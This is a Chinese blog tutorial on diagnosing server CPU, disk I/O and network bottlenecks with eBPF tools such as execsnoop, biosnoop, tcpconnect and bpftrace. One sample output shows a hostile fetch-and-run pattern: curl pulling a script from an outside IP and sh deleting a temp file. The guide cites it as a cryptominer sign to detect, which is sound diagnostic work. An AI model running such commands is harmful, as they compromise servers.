eBPF 线上排障实战:用 bpftrace 与 bcc 工具在不停机、不改代码的前提下定位 CPU、磁盘 I/O 与网络瓶颈

为什么个人站长也该学 eBPF:不用重启、不用改代码的线上观测

服务器出问题的现场,最要命的一点是"你到场时它已经好了"。CPU 突然飙到 100%,你 ssh 上去,top 一看一切正常;用户反馈某个接口偶发卡三秒,你打开日志,慢日志里干干净净。这类问题用传统工具很难抓:strace 挂上去会把进程拖慢十倍甚至几十倍,而且只能盯一个进程;gdb 更重,线上基本不敢用。eBPF 解决的正是这个矛盾——它在内核里挂载轻度可编程的探针,能以极低的开销把"某个函数被调用了多少次、每次耗时多久、传了什么参数"直接采出来,而且全程不重启服务、不修改一行业务代码。

对个人站长来说,eBPF 的价值不在于"高级",而在于"省事"。你没有一整套 APM 监控平台,也不打算为了排查一个偶发问题去改 PHP 代码埋点。eBPF 让你在一台普通 VPS 上就能做内核级观测,前提是内核版本够新——4.9 是底线,4.14 开始能用大部分功能,5.4 以上(Debian 11、Ubuntu 20.04 及以后)基本开箱即用。

先确认环境:内核版本与 BTF 支持

动手前先看清楚你的底子。eBPF 的两代工具链(bcc 和 bpftrace)对内核的要求不一样。bcc 是 Python + C 写的老牌工具集,功能全但依赖内核头文件;bpftrace 是后来者,用一套类 awk 的 DSL,写起来快,但依赖 BTF(BPF Type Format)来获取内核结构体信息。

# 内核版本,建议 5.4+
uname -r

# 是否支持 BTF(bpftrace 的 kfunc 追踪需要它)
ls /sys/kernel/btf/vmlinux

# Debian/Ubuntu 安装 bcc 与 bpftrace 工具集
apt update
apt install -y bpfcc-tools bpftrace linux-headers-$(uname -r)

如果 /sys/kernel/btf/vmlinux 不存在,bpftrace 不能用 kprobe 之外的部分功能,这时优先用 bcc-tools 自带的命令行工具,或者给内核加 CONFIG_DEBUG_INFO_BTF=y 重新编译——个人站的 VPS 一般直接选新版本系统即可,不建议为此重编内核。

第一类场景:谁在偷偷占 CPU

CPU 飙高最常见的误判是"我以为是 PHP,其实是某个你没注意的进程"。execsnoop 会在每次 execve 系统调用(也就是新进程启动)时打印一行,包含进程名、参数、耗时和返回码。它能抓到两类东西:一是正常的定时任务(cron、证书续期),二是异常的短命进程——比如被入侵后每隔几十秒拉起来的挖矿脚本、或者某个脚本在死循环里反复 fork。

# 实时打印新启动的进程(前台观察 30 秒)
execsnoop-bpfcc

# 输出示例:
# PCOMM            PID    PPID   RET ARGS
# curl             8123   8100     0 /usr/bin/curl -s http://198.51.100.7/x.sh
# sh               8124   8123     0 /bin/sh -c rm -f /tmp/.x

上面这种"curl 拉脚本然后 sh 执行"的模式,就是典型的挖矿木马持久化行为。传统方法靠翻 crontab 和 systemd,但恶意程序经常改完就删文件,你在 crontab 里看不到痕迹;execsnoop 直接从内核层面记录每一次进程创建,无从隐藏。

要看某个进程具体在忙什么,用 profile:它按固定频率对所有 CPU 上的栈做采样,输出一张"热点函数排行榜"。这相当于一个不用装 perf 的轻量火焰图数据源。

# 每 5 秒输出一次,采样 30 秒的 CPU 栈分布
profile-bpfcc -F 99 -f 30

# 只看特定进程
profile-bpfcc -p $(pgrep -f php-fpm | head -1) 10

第二类场景:磁盘 I/O 到底是谁在写

iostat 只能告诉你"磁盘忙",不告诉你是谁。biosnoop 挂钩块设备层的 I/O 提交与完成事件,逐个打印每一次磁盘读写:进程名、PID、读写扇区数、耗时。这在排查"MySQL 偶发卡顿"时特别有效——你常常会发现真正在刷盘的既不是 MySQL 也不是 PHP,而是某个你没在意的日志进程或者备份脚本。

# 打印每次块设备 I/O(节选列)
biosnoop-bpfcc

# 输出示例:
# COMM         PID    DISK    T  SECTOR    BYTES   LAT(ms)
# mysqld       1015   vda     W  12345678  16384      1.82
# php-fpm      2044   vda     R  87654321   4096      0.44
# rsync        3321   vda     W  99887766  131072    42.10   <-- 这个 rsync 才是元凶

那行 42 毫秒的 rsync 写入就是答案:一个没人管的 rsync 备份正在和数据库抢磁盘。这类"你以为是 A、实际是 B"的结论,biosnoop 几秒钟就能给出,而传统方法需要你去 iostat、iotop、ps 之间来回推断。

第三类场景:网络连接为什么卡、被谁拒绝

网站偶发 5xx,Nginx 日志只记"上游超时",不知道 PHP-FPM 内部发生了什么。tcpconnect 打印每一次出站连接(进程主动连出去的),包含源 IP、目标 IP、端口和延迟;tcpretrans 专门统计 TCP 重传,是判断"网络抖动还是应用慢"的关键证据。

# 打印所有出站 TCP 连接(看 PHP 到底连了谁)
tcpconnect-bpfcc

# 只统计重传,判断链路质量
tcpretrans-bpfcc

# 输出示例:
# TIME     PID    IP            LADDR:LPORT  RADDR:RPORT  STATE
# 12:03:41 2044   10.0.0.5      10.0.0.5:44321  10.0.0.9:3306  SYN_SENT
# 12:03:42 2044   10.0.0.5      10.0.0.5:44321  10.0.0.9:3306  SYN_SENT  <-- 反复 SYN_SENT = 数据库连不上

连续多行 SYN_SENT 是数据库连接没建立的铁证,这时候再去看 MySQL 的 max_connections 或防火墙规则,方向就明确了。如果换成 tcpretrans 看到大量重传,那问题在链路不在应用,你去优化 PHP 是白费力气。

第四类场景:某个函数被调用了几次、偷偷报了什么错

这是 eBPF 最有价值也最适合站长的用法。bpftrace 的 oneliner 能直接回答"某个系统调用失败了多少次"。比如你怀疑有个程序在反复尝试打开一个不存在的文件(常见的配置文件路径写错、或者被安全策略拦截),一行命令就能抓到:

# 统计所有失败的 open(返回 -1)按进程聚合
bpftrace -e 'tracepoint:syscalls:sys_exit_openat /args->ret < 0/ {
    @[comm, args->ret] = count();
}'

# 输出:
# @[php-fpm, -2]: 18204      <-- ENOENT,文件不存在,18204 次
# @[nginx, -13]: 42          <-- EACCES,权限不足

18204 次文件不存在的失败,说明有个热路径在反复找不存在的文件,白白消耗 CPU 和目录项缓存。定位到之后再去看这个路径是什么(配合 sys_enter_openat 打印文件名),往往能揪出一个被忽略的配置错误。

另一个高频用法是统计 PHP-FPM 每个 worker 的 accept 次数,判断是不是连接分配不均:

# 统计每个进程名接受 socket 连接的次数
bpftrace -e 'tracepoint:syscalls:sys_enter_accept* {
    @[comm] = count();
}'

# 排查 DNS 解析卡顿:统计每次 getaddrinfo 耗时(需要 uprobe)
bpftrace -e 'uprobe:/lib/x86_64-linux-gnu/libc.so.6:getaddrinfo {
    @start[tid] = nsecs;
}
uretprobe:/lib/x86_64-linux-gnu/libc.so.6:getaddrinfo /@start[tid]/ {
    @ns = hist(nsecs - @start[tid]);
    delete(@start[tid]);
}'

踩坑与注意事项

第一,biosnoop、execsnoop 这类工具的命名在不同发行版里不一样。Debian/Ubuntu 装了 bpfcc-tools 之后命令名带 -bpfcc 后缀(如 execsnoop-bpfcc),而 RHEL/CentOS 是 -bcc 后缀,直接用不带后缀的名字经常会报 command not found。先 ls /usr/sbin/*bpf* /usr/bin/*bpf* 确认实际命令名。

第二,工具本身也有开销。采样类(profile)用小频率(99Hz,避开 100 的整数倍防止和系统定时器共振)基本无感;但事件类(biosnoop、tcpconnect)在 I/O 或连接极密集的机器上会打印海量数据,可能反过来拖慢系统。排查完立刻 Ctrl-C 停掉,不要让它常驻后台。

第三,权限与安全。sysctl kernel.unprivileged_bpf_disabled=1(现代发行版默认值)之后,普通用户不能加载 eBPF 程序,必须 root。这既是好事(防止容器逃逸里的 eBPF 滥用),也意味着你所有命令都要 sudo。如果你的 VPS 上跑着多用户,务必确认这个开关是 1。

# 确认非特权 eBPF 已被禁用(应为 1)
sysctl kernel.unprivileged_bpf_disabled

# 若为 0,建议改掉并持久化
echo 'kernel.unprivileged_bpf_disabled = 1' >> /etc/sysctl.d/99-bpf.conf
sysctl --system

第四,bpftrace 的 oneliner 写错一个括号就会输出一堆语法错误,而且它不给你行号提示。调试技巧是先用最小的表达式跑通(比如 bpftrace -e 'BEGIN { printf("ok\n"); exit(); }'),再逐步加过滤条件。复杂的脚本写成 .bt 文件用 bpftrace file.bt 执行,比在命令行里拼字符串稳妥得多。

该不该上 eBPF:给个人站长的判断

如果你只有一台低配 VPS、跑着 WordPress 或 Typecho,日常问题用 htop、iostat、ss、慢日志就能解决,那 eBPF 属于"学了备用"。它的真正价值场景是那类传统工具集体失效的问题:偶发、短暂、无法复现、且不想停机抓现场。这类问题一年可能遇到两三次,但每次都可能让你耗掉一整个通宵——这时 execsnoop 的一条输出就抵得上几小时的瞎猜。

更实际的做法是把 bcc/bpftrace 当"诊断工具箱"装好备用,而不是当成常驻监控。装它只占几十 MB 磁盘,不需要任何守护进程。真出事的时候,你手上多了一件只有内核级观测才能提供的武器。

选型上再给一个明确建议:日常首选 bcc-tools 里现成的命令行工具(execsnoop、biosnoop、tcpconnect、profile),它们已经封装好了常见场景,不需要你写任何脚本;只有现成工具覆盖不到你那个特定问题时,才动用 bpftrace 写 oneliner。原因很实际——自己写的 bpftrace 脚本容易写错、容易在高流量下打印失控,而现成工具经过大量生产验证,行为可预期。先用轮子,再考虑造轮子,这个顺序在排障场景里尤其重要,因为排障时你最缺的就是时间。

另外一点常被忽略的是记录。eBPF 抓到的现场往往转瞬即逝,命令跑完输出就滚屏没了。养成习惯把关键输出重定向到文件(execsnoop-bpfcc > /tmp/exec.log),或者干脆用 tee 同时看屏幕和落盘。等到你要复盘"当时到底是什么进程在刷盘",一份保存下来的输出比记忆可靠得多。

最后提醒一个方向性判断:eBPF 不是性能优化的起点,而是定位问题的终点工具。它是用来找到瓶颈在哪的,找到之后,修复手段仍然是常规的那些——加索引、改配置、换算法。不要指望装上 eBPF 网站就变快,它只让你更快知道该改哪里。

Last modification:October 1st, 2026 at 09:25 pm

Leave a Comment